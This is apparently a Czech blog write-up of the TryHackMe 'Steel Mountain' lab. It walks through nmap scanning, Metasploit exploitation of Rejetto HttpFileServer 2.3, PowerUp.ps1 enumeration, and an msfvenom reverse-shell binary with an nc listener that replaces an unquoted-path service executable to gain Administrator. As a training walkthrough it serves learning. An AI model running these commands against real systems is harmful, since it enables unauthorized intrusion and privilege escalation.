Post

Steel Mountain

Write-Up úlohy Steel Mountain

Steel Mountain

Steel Mountain

  • TryHackMe LINK

    Rozhodl jsme si zkrátit čas touto zajímavou místností na platformě THM, jelikož je již poměrně stará, tak se na ni vyskytuje i spoustu write-upů. Těm jsem se primárně chtěl vyhnout a vyhýbal do poslední chvíle, než jsem narazil na chybu na svém Parrot systému, následně jsem pochopil dle jednoho z write-upu, kterým směrem se vydat a zjistil jsem, že vlastně daný návod ani nefunguje jak má. To se stalo taky důvodem vzniku tohoto příspěvku. Pro ty, kteří se náhodou zasekli. Chtěli se posunout dál, ale ani s write-upem se jim to nedaří, jsou zde správně.

Skenování

Jak již bývá zvykem, spustíme stroj, získáme IP adresu, zapneme VPN a jdeme hledat. Z minulých CTF a challenges se mi osvědčilo skenovat hlasitě, ale více důsledně. Abychom zamezili tomu, že přehlídneme nějakou důležitou službu, která se schovává na vyšším portu.

1
nmap -p- VM_IP

V mém případě jsem získal.:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└──╼ $nmap -p- 10.10.159.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 11:08 CET
Nmap scan report for 10.10.159.198
Host is up (0.049s latency).
Not shown: 65520 closed tcp ports (conn-refused)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
8080/tcp  open  http-proxy
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49162/tcp open  unknown
49163/tcp open  unknown

Identifikace služeb

V tuto chvíli mě zaujaly porty hlavně 80 a 8080.

  • Po průzkumu prvního portu si automaticky můžeme odpovědět na otázku “Kdo je pracovníkem měsíce.”
    • Při bližším pohledu na obrázek zjistíme více. V druhé řadě je zajímavým portem 8080.
  • Tady najdeme file-system manager: HttpFileServer 2.3
    • Poměrně staře vypadající aplikace nám již napoví, že by mohla být nejen staře vypadající, ale taky zranitelná.
    • Při hledání exploitu, resp. kontrole exploitů, kterými oplývá metasploit zjistíme, že jsme na správné cestě. msf-rejetto

Metasploit

  1. Spuštění metasploit: msfconsole
  2. Hledání daného exploitu a zvolení z r.2014: search rejetto a use 1
  3. Zobrazení možností, které je potřeba nastavit show options
  4. Změnit:
    1
    2
    3
    4
    
     set rhost VM_IP
     set rport 8080
     set LHOST MOJE_VPN_IP
     exploit
    
  5. Přesun v adresáři na plochu uživatele bill: cd C:/Users/bill/Desktop
    • Tady si odbavíme další úkoly z THM
    • ekvivalent cat ve win je type ;)

Privilege escalation

  • Potřebujeme PowerUp.ps1
  • Lze stáhnout zde GitHub
  • Přes metasploit pak můžeme nahrát na cílové zařízení

Nahrátí PowerUp.ps1 na cílové zařízení:

1
upload /home/parrot/Download/PowerUp.ps1 
  • Tím nahrajeme do aktuálního adresáře daný skript, nebo definujeme, kam jej chceme nahrát.

PowerUp.ps1 Potřebujeme nějakým způsobem spustit, ale prvně potřebujeme přes meterpreter spustit powershell tzn. v metasploit:

1
2
load powershell
powershell_shell

Pozor, PowerUp.ps1 se spouští pomocí dot-sourcingu zdroj tzn.:

1
2
. .\PowerUp.ps1
Invoke-AllChecks
  • Kdyby se spustil přímo jako .\PowerUp.ps1 tak by nedošlo k výpisu výsledků !

Získáme výpis potenciálních možností privilege escalation.:

Výstup z PowerUp.ps1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced
                 SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users;
                 Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
                 <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced
                 SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users;
                 Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
                 <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced
                 SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit;
                 IdentityReference=STEELMOUNTAIN\bill;
                 Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
                 <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced
                 SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced
                 SystemCare\ASCService.exe;
                 IdentityReference=STEELMOUNTAIN\bill;
                 Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
                 <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

Z toho výstupu co vidíme, lze usoudit, že:

  1. CanRestart : True Znamená, že jsme schopni restartovat danou službu/aplikaci.
  2. ModifiablePath Značí že můžeme přepsat takovou aplikaci?

Generování malicious binárky

THM Hovoří o tom, že mámet pro vytvoření reverse shell použít tento příkaz.:

1
msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

Což samo o sobě je správně, až na to, že jej zbytečně pojmenovává jako -o Advanced.exe když se už může jmenovat rovnou ASCService.exe, zbytečně to přidává krok navíc s přejmenováním.

  • LHOST je samozřejmě naše VPN IP

Listener

  • zároveň si na novém tabu terminálu můžeme už rozjet listener nc -lnvp 4443 a čekat na příchozí spojení

Ukončení a spuštění service AdvancedSystemCareService9

Protože zde se nejvíce rozcházel write-up, který jsem našel, tak bylo potřeba zvolit jinou cestu.

Původně návod uvádí, že službu vypneme jednoduše pomocí:

1
sc stop AdvancedSystemCareService9

Což nefunguje a po ověření Get-Service -name "Advanced*" zjistíme, že je služba stále: Running

Naštěstí funguje násilné ukončení:

1
Stop-Service -Name AdvancedSystemCareService9 -Force

V tuto chvíli nám nebrání běžící proces a můžeme konečně naši malicious binárku ASCService.exe přesunout z \Desktop na požadované místo a nahradit tak tu původní.:

1
copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

Nyní přijde na řadu opětovné spuštění služby AdvancedSystemCareService9

To opět nefunguje, jak zmiňuje write-up pomocí.: sc start AdvancedSystemCareService9

Identifikace služby, a proč nám nejde vlastně spustit …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS > Get-Service -Name AdvancedSystemCareService9 | Format-List *


Name                : AdvancedSystemCareService9
RequiredServices    : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
DisplayName         : Advanced SystemCare Service 9
DependentServices   : {}
MachineName         : .
ServiceName         : AdvancedSystemCareService9
ServicesDependedOn  : {}
ServiceHandle       :
Status              : Stopped
ServiceType         : Win32OwnProcess, InteractiveProcess
Site                :
Container           :

Vidíme, že služba AdvancedSystemCareService9 je protected proces.

Zakazuje tak přístup přes SCM = Service Control Manager, tzn. že ji neukončíme čistě příkazem sc stop AdvancedSystemCareService9 a ani nespustíme.

Nezbývá nám než spustit přímo nový proces.:

1
Start-Process "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

Nechápu, jak to předtím mohlo fungovat tak jednoduše, je to potřeba řešit takhle, možná se v průběhu virtuálka změnila ???

V tuto chvíli by jsme měli získat zpětné volání na náš poslouchající netcat a měli by jsme zde mít oprávnění Administrator, s jistou znalostí již získáme i odpověď na další otázku, kdy potřebné údaje jsou v C:\Users\Administrator\Desktop.

This post is licensed under CC BY 4.0 by the author.